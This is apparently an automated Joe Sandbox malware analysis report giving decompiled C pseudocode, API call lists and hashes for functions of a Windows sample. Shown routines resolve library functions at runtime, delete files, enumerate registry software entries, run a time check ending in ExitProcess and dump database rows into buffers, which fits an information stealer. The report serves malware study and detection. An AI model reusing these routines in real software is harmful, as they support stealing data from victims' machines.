lstrcat.KERNEL32(?,00000000), ref: 00685E0A
lstrcat.KERNEL32(?,00000000), ref: 00685E23

Part of subcall function 0068C1A0: SHGetFolderPathA.SHELL32(00000000,00685E30,00000000,00000000,?,?,000003E8), ref: 0068C1CB

Part of subcall function 0068C100: StrStrA.SHLWAPI(0041A574,?,?,00685E47,?,0041A574,00000000), ref: 0068C10E

lstrcpy.KERNEL32(?,00000000), ref: 00685E52

Part of subcall function 0068C100: lstrcpyn.KERNEL32(0041AC88,0041A574,0041A574,?,00685E47,?,0041A574), ref: 0068C132
Part of subcall function 0068C100: wsprintfA.USER32 ref: 0068C18B

lstrcpy.KERNEL32(?,00000000), ref: 00685E81
lstrcpy.KERNEL32(?,00000000), ref: 00685EB0
lstrcpy.KERNEL32(?,00000000), ref: 00685EDF

Strings

<, xrefs: 00685F24

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcpy$lstrcat$FolderPathlstrcpynwsprintf
String ID: <
API String ID: 2415926151-4251816714
Opcode ID: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction ID: 210634b5002897f9840d07ac1da1a487bb0a6e19e91230614d710a06a023735a
Opcode Fuzzy Hash: ca99b8c5f2615107a35df7a1f1dccff14a2e5a2c5a6f3dec0d12ea2a79c58206
Instruction Fuzzy Hash: A76172F1D00218ABDB65EB60DC89FDE7379AB48304F0046D9F309A6152DB759B88CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0040B000, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45
memoryCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E0040B000() {
				void* _v8;
				int _v16;
				int _v20;
				struct _MEMORYSTATUSEX _v84;
				void* _t18;
				int _t27;

				_v8 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_t18 = memset( &_v84, 0, 0x40);
				_v84.dwLength = 0x40;
				GlobalMemoryStatusEx( &_v84);
				if(_t18 != 1) {
					_v20 = 0;
					_v16 = 0;
				} else {
					_t27 = _v84.ullAvailPhys;
					_v20 = E00413940(_v84.ullTotalPhys, _t27, 0x100000, 0);
					_v16 = _t27;
				}
				_push(_v16);
				wsprintfA(_v8, "%d MB", _v20);
				return _v8;
			}

0x0040b01a
0x0040b025
0x0040b02b
0x0040b036
0x0040b03f
0x0040b05d
0x0040b064
0x0040b041
0x0040b048
0x0040b055
0x0040b058
0x0040b058
0x0040b06e
0x0040b07c
0x0040b08b

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040B00D
RtlAllocateHeap.NTDLL(00000000), ref: 0040B014
memset.NTDLL ref: 0040B025
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0040B036
__aulldiv.LIBCMT ref: 0040B050
wsprintfA.USER32 ref: 0040B07C

Strings

@, xrefs: 0040B02B
%d MB, xrefs: 0040B073

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: %d MB$@
API String ID: 3391354518-3474575989
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: d6dd67dfb3d0438e7a0ae41fe93027642831ff50444b6176823616896e2162a9
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 7F01A9B1D40208ABDB00DFE4DD49BEFB7B8FB48701F108559F615AB280D7B99A118B99

Uniqueness

Uniqueness Score: -1.00%

Function 0068B250, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0068B25D
RtlAllocateHeap.NTDLL(00000000), ref: 0068B264
memset.NTDLL ref: 0068B275
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0068B286
__aulldiv.LIBCMT ref: 0068B2A0
wsprintfA.USER32 ref: 0068B2CC

Strings

@, xrefs: 0068B27B
([h, xrefs: 0068B2C8, 0068B2D5, 0068B2CB

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Heap$AllocateGlobalMemoryProcessStatus__aulldivmemsetwsprintf
String ID: ([h$@
API String ID: 3391354518-3933151701
Opcode ID: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction ID: fc8c44a3aaf869c714abacef2721d2b171a7d477fcf02ae46289466b5e173a0d
Opcode Fuzzy Hash: fccb103469cb7bb388c409a6e7fed2ab2e9d3f73f783b03a8c0b01334b29ccb9
Instruction Fuzzy Hash: 9C0100B1D40208ABDB00DFE4DD59BEEB7B8FF44700F108658F615A7280D7B59A118B95

Uniqueness

Uniqueness Score: -1.00%

Function 00405DE0, Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 25
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405DE0() {
				CHAR* _t1;
				CHAR* _t5;
				CHAR* _t9;
				CHAR* _t11;
				CHAR* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t1 =  *0x41a6a4; // 0x7f98b8
				DeleteFileA(_t1);
				_t11 =  *0x41a2f0; // 0x7f9a48
				DeleteFileA(_t11);
				_t13 =  *0x41a650; // 0x7f9a20
				DeleteFileA(_t13);
				_t5 =  *0x41a220; // 0x7f9c28
				DeleteFileA(_t5);
				_t12 =  *0x41a6cc; // 0x7e5828
				DeleteFileA(_t12);
				_t14 =  *0x41a4a8; // 0x7f97a0
				DeleteFileA(_t14);
				_t9 =  *0x41a700; // 0x7f9818
				return DeleteFileA(_t9);
			}

0x00405de3
0x00405de9
0x00405def
0x00405df6
0x00405dfc
0x00405e03
0x00405e09
0x00405e0f
0x00405e15
0x00405e1c
0x00405e22
0x00405e29
0x00405e2f
0x00405e3c

APIs

DeleteFileA.KERNEL32(007F98B8,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DE9
DeleteFileA.KERNEL32(007F9A48,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405DF6
DeleteFileA.KERNEL32(007F9A20,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E03
DeleteFileA.KERNEL32(007F9C28,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E0F
DeleteFileA.KERNEL32(007E5828,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E1C
DeleteFileA.KERNEL32(007F97A0,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E29
DeleteFileA.KERNEL32(007F9818,?,004068D3,?,00000004,?,00000004,?,00000004,?,00001388,?,00000104), ref: 00405E35

Strings

(X~, xrefs: 00405E15

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: DeleteFile
String ID: (X~
API String ID: 4033686569-213927213
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 00686030, Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 25fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(0041A6A4), ref: 00686039
DeleteFileA.KERNEL32(0041A2F0), ref: 00686046
DeleteFileA.KERNEL32(0041A650), ref: 00686053
DeleteFileA.KERNEL32(0041A220), ref: 0068605F
DeleteFileA.KERNEL32((X~), ref: 0068606C
DeleteFileA.KERNEL32(0041A4A8), ref: 00686079
DeleteFileA.KERNEL32(0041A700), ref: 00686085

Strings

(X~, xrefs: 00686065, 0068606B

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: DeleteFile
String ID: (X~
API String ID: 4033686569-213927213
Opcode ID: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction ID: 53f7d35bc311ab0ea18b8a2534d9d90475545ede5d55a6c2cac6028fe6962c5d
Opcode Fuzzy Hash: ff69e4b31bc1838d1b169166c51fd268a0e82c38cd1b180b4cede6b8889026cc
Instruction Fuzzy Hash: D7F014F95232009BC7049BA4ED4C8A637A9B7CC621305C928B50683225CB39E5608B7B

Uniqueness

Uniqueness Score: -1.00%

Function 00691770, Relevance: 13.6, APIs: 9, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,00692CEA,?), ref: 00691778
StrCmpCA.SHLWAPI(?,00419340,?,00692CEA,?), ref: 006917C5
StrCmpCA.SHLWAPI(?,00419344,?,00692CEA,?), ref: 006917DF
StrCmpCA.SHLWAPI(?,0041934C,?,00692CEA,?), ref: 006917F9

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrlen
String ID:
API String ID: 1659193697-0
Opcode ID: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction ID: 26f14d768d27c2d4df621e1bfd78f38fd46f1ccc72baa862d5ab375db257fc4c
Opcode Fuzzy Hash: 430f65423b4f0def573a6f751fbc7bb6154696510ea6a2334855bcd8a57c314c
Instruction Fuzzy Hash: 7A314039B0420AEBCF00DFA1DA589EE77AEAE1A7407308056E5259FB40D734DE41FB55

Uniqueness

Uniqueness Score: -1.00%

Function 00407060, Relevance: 13.6, APIs: 9, Instructions: 61
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407060() {
				CHAR* _t1;
				CHAR* _t5;
				struct HINSTANCE__* _t7;
				CHAR* _t10;
				struct HINSTANCE__* _t12;
				CHAR* _t15;
				CHAR* _t18;
				struct HINSTANCE__* _t19;
				CHAR* _t20;
				struct HINSTANCE__* _t21;
				CHAR* _t22;
				struct HINSTANCE__* _t23;
				struct HINSTANCE__* _t24;
				CHAR* _t25;
				struct HINSTANCE__* _t26;
				CHAR* _t27;
				struct HINSTANCE__* _t28;

				_t1 =  *0x41a6a4; // 0x7f98b8
				 *0x41a82c = LoadLibraryA(_t1);
				if( *0x41a82c == 0) {
					return 0;
				}
				_t18 =  *0x41a4d0; // 0x7facc0
				_t24 =  *0x41a82c; // 0x0
				 *0x41a830 = GetProcAddress(_t24, _t18);
				_t5 =  *0x41a0ec; // 0x7fb5f0
				_t19 =  *0x41a82c; // 0x0
				 *0x41a7e8 = GetProcAddress(_t19, _t5);
				_t25 =  *0x41a43c; // 0x7fac48
				_t7 =  *0x41a82c; // 0x0
				 *0x41a804 = GetProcAddress(_t7, _t25);
				_t20 =  *0x41a41c; // 0x7fb370
				_t26 =  *0x41a82c; // 0x0
				 *0x41a820 = GetProcAddress(_t26, _t20);
				_t10 =  *0x41a454; // 0x7fb610
				_t21 =  *0x41a82c; // 0x0
				 *0x41a808 = GetProcAddress(_t21, _t10);
				_t27 =  *0x41a684; // 0x7fac60
				_t12 =  *0x41a82c; // 0x0
				 *0x41a834 = GetProcAddress(_t12, _t27);
				_t22 =  *0x41a570; // 0x7fb650
				_t28 =  *0x41a82c; // 0x0
				 *0x41a810 = GetProcAddress(_t28, _t22);
				_t15 =  *0x41a6f8; // 0x7fb510
				_t23 =  *0x41a82c; // 0x0
				 *0x41a818 = GetProcAddress(_t23, _t15);
				return 1;
			}

0x00407063
0x0040706f
0x0040707b
0x00000000
0x0040714b
0x00407081
0x00407088
0x00407095
0x0040709a
0x004070a0
0x004070ad
0x004070b2
0x004070b9
0x004070c5
0x004070ca
0x004070d1
0x004070de
0x004070e3
0x004070e9
0x004070f6
0x004070fb
0x00407102
0x0040710e
0x00407113
0x0040711a
0x00407127
0x0040712c
0x00407132
0x0040713f
0x00000000

APIs

LoadLibraryA.KERNEL32(007F98B8,?,0040A721,?,004067AC,?,00000000,00000000,00000000,?,00000104,?,00001388), ref: 00407069
GetProcAddress.KERNEL32(00000000,007FACC0), ref: 0040708F
GetProcAddress.KERNEL32(00000000,007FB5F0), ref: 004070A7
GetProcAddress.KERNEL32(00000000,007FAC48), ref: 004070BF
GetProcAddress.KERNEL32(00000000,007FB370), ref: 004070D8
GetProcAddress.KERNEL32(00000000,007FB610), ref: 004070F0
GetProcAddress.KERNEL32(00000000,007FAC60), ref: 00407108
GetProcAddress.KERNEL32(00000000,007FB650), ref: 00407121
GetProcAddress.KERNEL32(00000000,007FB510), ref: 00407139

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 2672694bce1a196fb14c5d12644c19629fc0bc7f4ce699a9cda348cbaa83b162
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: 64210DB56262009FC344EBB8ED889B637E9B74C315711C53AE505C3261D635A462CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 006872B0, Relevance: 13.6, APIs: 9, Instructions: 61libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(0041A6A4,?,0068A971,?,006869FC,?,0041ABA4,0041ABAC,0041ABA8,?,00000104,?,00001388), ref: 006872B9
GetProcAddress.KERNEL32(0041A82C,0041A4D0), ref: 006872DF
GetProcAddress.KERNEL32(0041A82C,0041A0EC), ref: 006872F7
GetProcAddress.KERNEL32(0041A82C,0041A43C), ref: 0068730F
GetProcAddress.KERNEL32(0041A82C,0041A41C), ref: 00687328
GetProcAddress.KERNEL32(0041A82C,0041A454), ref: 00687340
GetProcAddress.KERNEL32(0041A82C,0041A684), ref: 00687358
GetProcAddress.KERNEL32(0041A82C,0041A570), ref: 00687371
GetProcAddress.KERNEL32(0041A82C,0041A6F8), ref: 00687389

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID:
API String ID: 2238633743-0
Opcode ID: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction ID: 471c061755804e830512653d4c62788b2981e1215a637884f5ad48a76f4b31b0
Opcode Fuzzy Hash: 594726dc9d5095b157e22f132bae16ed91bae53f4790aeb2ce1616c6ce3a6a40
Instruction Fuzzy Hash: FC211EB56272009FC344EBB8ED889B637E9B74C315711C639E505C3261D6359462CF6A

Uniqueness

Uniqueness Score: -1.00%

Function 00686B40, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 75timestringCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,00000104), ref: 00686BC1
lstrcat.KERNEL32(?,0041A60C), ref: 00686BD5
sscanf.NTDLL ref: 00686C13
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00686C27
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 00686C38
ExitProcess.KERNEL32 ref: 00686C52

Strings

HU~, xrefs: 00686C05, 00686C0B

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Time$System$File$ExitProcesslstrcatsscanf
String ID: HU~
API String ID: 2797641603-4055494720
Opcode ID: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction ID: 0a613048797bacd8fa3c930313df8d7db95feeebcd9fbb3504e910433e810805
Opcode Fuzzy Hash: c61bb436b804f0d06a8e2a80b3f30031f21c3dbbfd9811cb7010ad7d772f11a9
Instruction Fuzzy Hash: 693110B2D1121CABCB58DF94DD85ADEB7B9AF4C300F0085EAE109A3150EB305B98CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B39D, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 51
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 47%

			E0040B39D() {
				long _t36;
				char* _t66;
				intOrPtr _t73;
				char* _t76;
				void* _t81;

				L0:
				while(1) {
					L0:
					 *(_t81 - 0xc1c) =  *(_t81 - 0xc1c) + 1;
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						break;
					}
					L2:
					 *(_t81 - 0x818) = 0x400;
					 *((intOrPtr*)(_t81 - 0x814)) = RegEnumKeyExA( *(_t81 - 0x810),  *(_t81 - 0xc1c), _t81 - 0x408, _t81 - 0x818, 0, 0, 0, 0);
					if( *((intOrPtr*)(_t81 - 0x814)) != 0) {
						L11:
						continue;
					} else {
						L3:
						_push(_t81 - 0x408);
						_t73 =  *0x41a230; // 0x7e4970
						_push(_t73);
						wsprintfA(_t81 - 0x808, "%s\%s");
						if(RegOpenKeyExA(0x80000002, _t81 - 0x808, 0, 0x20019, _t81 - 0x80c) == 0) {
							L5:
							 *(_t81 - 0x818) = 0x400;
							_t76 =  *0x41a71c; // 0x7fc788
							if(RegQueryValueExA( *(_t81 - 0x80c), _t76, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
								L6:
								_push(_t81 - 0xc18);
								if( *0x41a908() > 1) {
									L7:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									 *(_t81 - 0x818) = 0x400;
									_t66 =  *0x41a450; // 0x7fc650
									if(RegQueryValueExA( *(_t81 - 0x80c), _t66, 0, _t81 - 4, _t81 - 0xc18, _t81 - 0x818) == 0) {
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), " ");
										 *0x41aa24( *((intOrPtr*)(_t81 + 8)), _t81 - 0xc18);
									}
									L9:
									 *0x41aa24( *((intOrPtr*)(_t81 + 8)), "\n");
								}
							}
							L10:
							RegCloseKey( *(_t81 - 0x80c));
							goto L11;
						} else {
							L4:
							RegCloseKey( *(_t81 - 0x80c));
							_t36 = RegCloseKey( *(_t81 - 0x810));
						}
					}
					L13:
					return _t36;
					L14:
				}
				L12:
				_t36 = RegCloseKey( *(_t81 - 0x810));
				goto L13;
			}

0x0040b39d
0x0040b39d
0x0040b39d
0x0040b3a6
0x0040b3b3
0x00000000
0x00000000
0x0040b3b9
0x0040b3b9
0x0040b3ed
0x0040b3fa
0x0040b535
0x00000000
0x0040b400
0x0040b400
0x0040b406
0x0040b407
0x0040b40d
0x0040b41a
0x0040b445
0x0040b466
0x0040b466
0x0040b484
0x0040b49a
0x0040b4a0
0x0040b4a6
0x0040b4b0
0x0040b4b2
0x0040b4bd
0x0040b4c3
0x0040b4e1
0x0040b4f7
0x0040b502
0x0040b513
0x0040b513
0x0040b519
0x0040b522
0x0040b522
0x0040b4b0
0x0040b528
0x0040b52f
0x00000000
0x0040b447
0x0040b447
0x0040b44e
0x0040b45b
0x0040b45b
0x0040b445
0x0040b547
0x0040b54a
0x00000000
0x0040b54a
0x0040b53a
0x0040b541
0x00000000

APIs

RegEnumKeyExA.ADVAPI32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 0040B3E7
wsprintfA.USER32 ref: 0040B41A
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,00000000), ref: 0040B43D
RegCloseKey.ADVAPI32(00000000), ref: 0040B44E
RegCloseKey.ADVAPI32(00000000), ref: 0040B45B
RegQueryValueExA.ADVAPI32(00000000,007FC788,00000000,000F003F,?,00000400), ref: 0040B492
lstrlen.KERNEL32(?), ref: 0040B4A7
lstrcat.KERNEL32(?,?), ref: 0040B4BD
RegQueryValueExA.ADVAPI32(00000000,007FC650,00000000,000F003F,?,00000400), ref: 0040B4EF
lstrcat.KERNEL32(?,00419238), ref: 0040B502
lstrcat.KERNEL32(?,?), ref: 0040B513
lstrcat.KERNEL32(?,00418BC4), ref: 0040B522
RegCloseKey.ADVAPI32(00000000), ref: 0040B52F
RegCloseKey.ADVAPI32(00000000), ref: 0040B541

Strings

%s\%s, xrefs: 0040B40E
pI~, xrefs: 0040B407

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Closelstrcat$QueryValue$EnumOpenlstrlenwsprintf
String ID: %s\%s$pI~
API String ID: 199769609-3966840870
Opcode ID: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction ID: 9546bb00d88ab29d98338f3d9e51bb631a883dd56483db4c703a054c40f4693a
Opcode Fuzzy Hash: a4012638aad7033c914fdd1a0f1ca3e258b17949767a5016186a6d4b83d2670b
Instruction Fuzzy Hash: 86110DB1901218ABDB20CB50DD45FE9B3B8FB48704F00C5E9A249A6181DB745AD6CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00408650, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00408650(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				intOrPtr _v292;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v276, 0x104);
				_t30 =  *0x41a418; // 0x7fb690
				wsprintfA( &_v276, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v8);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a790; // 0x7fbcf0
					_t35 =  *0x41a7e8(_v8, _t67, 0xffffffff,  &_v280, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v280);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v280, 0);
						_t48 =  *0x41a820(_v280, 1);
						_t76 = _t79 + 0x10;
						_v292 = _t48;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
						 *0x41aa24(_v284, _v292);
						 *0x41aa24(_v284, "\n\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t76 = _t79 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t33;
			}

0x00408665
0x00408672
0x0040867f
0x00408690
0x00408696
0x0040869b
0x004086ac
0x004086b7
0x004086bd
0x004086c2
0x004087b2
0x004087b9
0x00000000
0x004087cc
0x004086dc
0x004086e2
0x004086e9
0x004086ef
0x004086f5
0x00000000
0x00000000
0x0040870d
0x0040871c
0x00408722
0x00408725
0x00408739
0x0040874b
0x0040875f
0x00408771
0x00408771
0x0040879c
0x004087a1
0x004087ad
0x00000000
0x004087ad
0x004087d2

APIs

wsprintfA.USER32 ref: 0040867F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004086CF
RtlAllocateHeap.NTDLL(00000000), ref: 004086D6
lstrcat.KERNEL32(?,?), ref: 00408739
lstrcat.KERNEL32(?,00418BC4), ref: 0040874B
lstrcat.KERNEL32(?,?), ref: 0040875F
lstrcat.KERNEL32(?,00418BC0), ref: 00408771
lstrlen.KERNEL32(?), ref: 00408783

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction ID: 955311191cc75421edc53ced7400f0f4475059767564ca96251eab490a2998f9
Opcode Fuzzy Hash: cbaa3a57402c93d3f6ac8d8f06c7d0ef17fa834f40e1eb2d1f60f83834225a72
Instruction Fuzzy Hash: 5F41A9B1900108ABCB14DBA4DD46FDA7778AF4C705F0085A9F70997141DB35DAA1CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 00409400, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E00409400(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x7fb6d0
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a08c; // 0x7fb970
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a16,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00409415
0x00409422
0x0040942f
0x00409443
0x00409449
0x0040944e
0x0040945f
0x0040946d
0x00409473
0x00409478
0x00409568
0x0040956f
0x00000000
0x00409585
0x00409492
0x00409498
0x0040949f
0x004094a5
0x004094ab
0x00000000
0x00000000
0x004094c3
0x004094d2
0x004094d8
0x004094db
0x004094ef
0x00409501
0x00409515
0x00409527
0x00409527
0x00409552
0x00409557
0x00409563
0x00000000
0x00409563
0x0040958b

APIs

wsprintfA.USER32 ref: 0040942F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00409485
RtlAllocateHeap.NTDLL(00000000), ref: 0040948C
lstrcat.KERNEL32(?,?), ref: 004094EF
lstrcat.KERNEL32(?,004191EC), ref: 00409501
lstrcat.KERNEL32(?,?), ref: 00409515
lstrcat.KERNEL32(?,00418BC4), ref: 00409527
lstrlen.KERNEL32(?), ref: 00409539

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction ID: 73f73464c9cdda0f85a8cd32dc3c754c459267de9915a2913d06030346bf418a
Opcode Fuzzy Hash: 73554b27680e441b7f146b6b5ae22a03ed6891bd5a46cf62418f090caae84141
Instruction Fuzzy Hash: B141BAB1900108ABCB14DFA4DD4AFDA77B8AF48705F0085A9F709D7141D675DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00408150, Relevance: 12.1, APIs: 8, Instructions: 107
stringmemoryCOMMON

